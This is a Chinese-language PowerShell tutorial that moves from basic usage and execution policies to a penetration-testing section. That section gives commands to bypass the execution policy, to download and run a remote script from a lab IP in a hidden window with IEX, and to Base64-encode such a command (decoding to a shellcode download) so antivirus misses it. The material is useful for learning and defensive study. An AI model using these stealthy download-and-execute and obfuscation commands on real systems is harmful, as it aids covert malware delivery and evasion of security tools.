windows powershell 基础
1.powershell 基础
PowerShell 内置在 Windows 7、Windows Server 2008 R2 及更高版本的 Windows 系统中,同时 PowerShell 是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。
PowerShell 有如下特点:
- Windows 7 以上的操作系统默认安装
- PowerShell 脚本可以运行在内存中,不需要写入磁盘
- 可以从另一个系统中下载 PowerShell 脚本并执行
- 目前很多工具都是基于 PowerShell 开发的
- 很多安全软件检测不到 PowerShell 的活动
- cmd 通常会被阻止运行,但是 PowerShell 不会
- 可以用来管理活动目录
Windows 操作系统对应的 PowerShell 版本信息:
操作系统 | PowerShell 版本 |
---|---|
windows server 2008 | 1.0 |
windows server 2008 r2、windows 7 | 2.0 |
windows server 2012、windows 8 | 3.0 |
windows server 2012 r2、windows 8.1 | 4.0 |
windows 10 | 5.0 |
windows server 2016 | 5.1 |
可输入 Get-Host 或者 $PSVersionTable 查看 PowerShell 版本:
2.基本概念
2.1 .ps1 文件
ps1 是 PowerShell 的脚本扩展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。
2.2 执行策略
为了防止恶意脚本在 PowerShell 中被运行,PowerShell 有个执行策略,默认情况下,这个执行策略是受限模式Restricted。
使用 Get-ExecutionPolicy命令查看当前执行策略。
1 | PS C:\Users\joker> Get-ExecutionPolicy |
执行策略有以下几种:
Restricted:不能运行脚本
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)
AllSigned:仅当脚本由受信任的发布者签名才能运行。
Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名。
使用Set-ExecutionPolicy
1 | PS C:\WINDOWS\system32> Set-ExecutionPolicy Unrestricted |
2.3 运行脚本
PowerShell 运行脚本的方式和其他 shell 基本一致,可以输入完整路径运行,也可以到 ps1 文件所在目录下去运行,具体如下:
1 | PS C:\Users\joker> Get-Content .\hey.ps1 |
2.4 管道
PowerShell 中的管道类似于 linux 中的管道,都是将前一个命令的输出作为另一个命令的输入,两个命令之间使用 “|” 进行连接。
例如,在 PowerShell 中获取进程信息并以程序 ID 进行排序
筛选出以字符 “p” 开头的程序,并以 ID 值进行排序。
3.PowerShell 常用命令
在 PowerShell 下,命令的命名规范很一致,都采用了动词-名词的形式,如 Net-Item,动词一般为 Add、New、Get、Remove、Set 等。PowerShell 还兼容 cmd 和 Linux 命令,如查看目录可以使用 dir 或者 ls 。
3.1 文件操作类命令
1 | 新建目录 test: |
3.2.1 绕过本地权限并执行
默认情况下 PowerShell 的执行策略是受限模式 Restricted
,要想运行PowerShell脚本程序,必须使用管理员权限将策略从 Restricted
改为 Unrestricted
。
先来看看默认受限模式下执行脚本的情况
1 | PS C:\Users\joker\Desktop> powerShell.exe Get-ExecutionPolicy |
这里系统会提示在此系统上禁止运行脚本,但加上 -ExecutionPolicy Bypass
即可绕过这个限制.
1 | PS C:\Users\joker\Desktop> powershell.exe -ExecutionPolicy bypass -file .\test.ps1 |
3.2.2 下载远程脚本绕过权限并隐藏执行
1 | PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile "IEX(New-Object Net.WebClient).DownloadString('http://192.168.44.132:8000/t.ps1')" |
或者简写
1 | PowerShell.exe -Exec Bypass -W Hidden -NoLogo -NonI -NoP "IEX(New-Object Net.WebClient).DownloadString('http://192.168.44.132:8000/t.ps1')" |
3.2.3 利用 Base64对命令进行编码
使用 Base64 进行编码主要是为了混淆代码以避免被杀毒软件查杀,经过尝试这里直接使用 Base64 编码是不行的,可以使用 Github 上的一个编码工具,工具下载地址:
https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
下载好后,需要先将要执行的命令保存到文本文件中,这里保存到了 raw.txt 文本中,之后执行 python ps_encoder.py -s raw.txt
即可
1 | C:\Users\joker\Downloads>cat raw.txt |
使用 –Enc 指定 Base64 编码内容
1 | PowerShell.exe -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQAvAHMAaABlAGwAbABjAG8AZABlAC4AcABzADEAJwApAA== |